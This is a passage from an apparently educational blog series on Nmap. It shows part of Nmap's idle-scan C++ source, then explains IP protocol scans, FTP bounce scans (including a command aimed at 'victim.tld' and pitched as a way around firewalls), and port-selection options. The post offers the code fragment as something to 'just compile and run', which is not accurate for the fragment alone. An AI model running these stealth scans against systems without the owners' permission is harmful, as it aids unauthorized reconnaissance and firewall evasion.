scan of %d ports, starting with %hu found %d open, while second scan yeilded %d", secondHalfSz, ports[firstHalfSz], flatcount2, retrycount); adjust_idle_timing(proxy, target, flatcount2, retrycount); } totalfound += retrycount - flatcount2; flatcount2 = retrycount; /* If our first count erroneously found and added an open port, we must delete it. */ if (secondHalfSz == 1 && flatcount2 == 1 && retrycount == 0) target->ports.forgetPort(ports[firstHalfSz], IPPROTO_TCP); } } } if (firstHalfSz == 1 && flatcount1 == 1) target->ports.setPortState(ports[0], IPPROTO_TCP, PORT_OPEN); if ((secondHalfSz == 1) && flatcount2 == 1) target->ports.setPortState(ports[firstHalfSz], IPPROTO_TCP, PORT_OPEN); return totalfound; } /* The very top-level idle scan function -- scans the given target host using the given proxy -- the proxy is cached so that you can keep calling this function with different targets. */ void idle_scan(Target *target, u16 *portarray, int numports, char *proxyName, const struct scan_lists * ports) { static char lastproxy[MAXHOSTNAMELEN + 1] = ""; /* The proxy used in any previous call */ static struct idle_proxy_info proxy; int groupsz; int portidx = 0; /* Used for splitting the port array into chunks */ int portsleft; char scanname[128]; Snprintf(scanname, sizeof(scanname), "idle scan against %s", target->NameIP()); ScanProgressMeter SPM(scanname); if (numports == 0) return; /* nothing to scan for */ if (!proxyName) fatal("idle scan requires a proxy host"); if (*lastproxy && strcmp(proxyName, lastproxy)) fatal("%s: You are not allowed to change proxies midstream. Sorry", __func__); assert(target); if (target->timedOut(NULL)) return; if (target->ifType() == devt_loopback) { log_write(LOG_STDOUT, "Skipping Idle Scan against %s -- you can't idle scan your own machine (localhost).n", target->NameIP()); return; } target->startTimeOutClock(NULL); /* If this is the first call, */ if (!*lastproxy) { initialize_idleproxy(&proxy, proxyName, target->v4hostip(), ports); strncpy(lastproxy, proxyName, sizeof(lastproxy)); } /* If we don't have timing infoz for the new target, we'll use values derived from the proxy */ if (target->to.srtt == -1 && target->to.rttvar == -1) { target->to.srtt = MAX(200000,2 * proxy.host.to.srtt); target->to.rttvar = MAX(10000, MIN(proxy.host.to.rttvar, 2000000)); target->to.timeout = target->to.srtt + (target->to.rttvar << 2); } else { target->to.srtt = MAX(target->to.srtt, proxy.host.to.srtt); target->to.rttvar = MAX(target->to.rttvar, proxy.host.to.rttvar); target->to.timeout = target->to.srtt + (target->to.rttvar << 2); } /* Now I guess it is time to let the scanning begin! Since idle scan is sort of tree structured (we scan a group and then divide it up and drill down in subscans of the group), we split the port space into smaller groups and then call a recursive divide-and-counquer function to find the open ports */ while(portidx < numports) { portsleft = numports - portidx; /* current_groupsz is doubled below because idle_subscan cuts in half */ groupsz = MIN(portsleft, (int) (proxy.current_groupsz * 2)); idle_treescan(&proxy, target, portarray + portidx, groupsz, -1); portidx += groupsz; } char additional_info[14]; Snprintf(additional_info, sizeof(additional_info), "%d ports", numports); SPM.endTask(NULL, additional_info); /* Now we go through the ports which were scanned but not determined to be open, and add them in the "closed|filtered" state */ for(portidx = 0; portidx < numports; portidx++) { if (target->ports.portIsDefault(portarray[portidx], IPPROTO_TCP)) { target->ports.setPortState(portarray[portidx], IPPROTO_TCP, PORT_CLOSEDFILTERED); target->ports.setStateReason(portarray[portidx], IPPROTO_TCP, ER_NOIPIDCHANGE, 0, NULL); } else target->ports.setStateReason(portarray[portidx], IPPROTO_TCP, ER_IPIDCHANGE, 0, NULL); } target->stopTimeOutClock(NULL); return; } As you can see, this is my screenshot of the C++ source file. Just compile it and run it to get the results. OK, let’s start with our original scan method. IP Protocol Scan IP protocol scan allows you to determine which IP protocols (TCP, ICMP, IGMP, etc.) are supported by target machines. This isn’t technically a port scan, since it cycles through IP protocol numbers rather than TCP or UDP port numbers. Command: nmap –sO target FTP Bounce Scan This allows a user to connect to one FTP server, then ask that files be sent to a third-party server. Simply it asks the FTP server to send a file to each interesting port of a target host in turn. The error message will describe whether the port is open or not. This is a good way to bypass firewalls, because organizational FTP servers are often placed where they have more access to other internal hosts than any old Internet host would. It takes an argument of the form <username>:<password>@<server>:<port>. <Server> is the name or IP address of a vulnerable FTP server. Command: nmap –b ftp rely host. Also, this can be used for port bounce attack. nmap -T0 -b username:password@ftpserver.tld:21 victim.tld This uses the username “username”, the password “password”, the FTP server “ftpserver.tld” and port 21 on said server to scan victim.tld. If the FTP server supports anonymous logins, just forget about the username:password@ part and Nmap will assume it allows -anonymous. You may omit :21 if the FTP port is 21, however, some people configure FTP on weird ports as an attempt at “security”. Port Specification and Scan Order In addition to all of the scan methods discussed previously, Nmap offers options for specifying which ports are scanned and whether the scan order is randomized or sequential. By default, Nmap scans the most common 1,000 ports for each protocol. -p <port ranges> (Only scan specified ports) This option specifies which ports you want to scan and overrides the default. Individual port numbers are OK, as are ranges separated by a hyphen (e.g. 1-1023). The beginning and/or end values of a range may be omitted, causing Nmap to use 1 and 65535, respectively. So you can specify -p- to scan ports from 1 through 65535. Scanning port zero is allowed if you specify it explicitly. Nmap –p 1-1023 target When scanning a combination of protocols (e.g. TCP and UDP), you can specify a particular protocol by preceding the port numbers by T: for TCP, U: for UDP, S: for SCTP, or P: for IP Protocol. nmap -p U:53,111,137,T:21-25,80,139,8080 target -F (Fast (limited port) scan) Specifies that you wish to scan fewer ports than the default. Normally Nmap scans the most common 1,000 ports for each scanned protocol. With -F, this is reduced to 100. nmap –F target -r (Don’t randomize ports) By default, Nmap randomizes the scanned port order (except that certain commonly accessible ports are moved near the beginning for efficiency reasons). This randomization is normally desirable, but you can specify -r for sequential (sorted from lowest to highest) port scanning instead. nmap –r target So this is the end of this part of the series. In the next part, I will go through advanced firewall evasion and custom creation of exploits with Nmap. Warning: The above mentioned malicious attack conducted on the lab has been given prior permission by the owner of website or admin. The above is meant for only educational purposes. So do not use for any personal intent, as it is prone to cyber attack. References: dumbscan.txt moreipid.txt Idle scan - Wikipedia, the free encyclopedia Source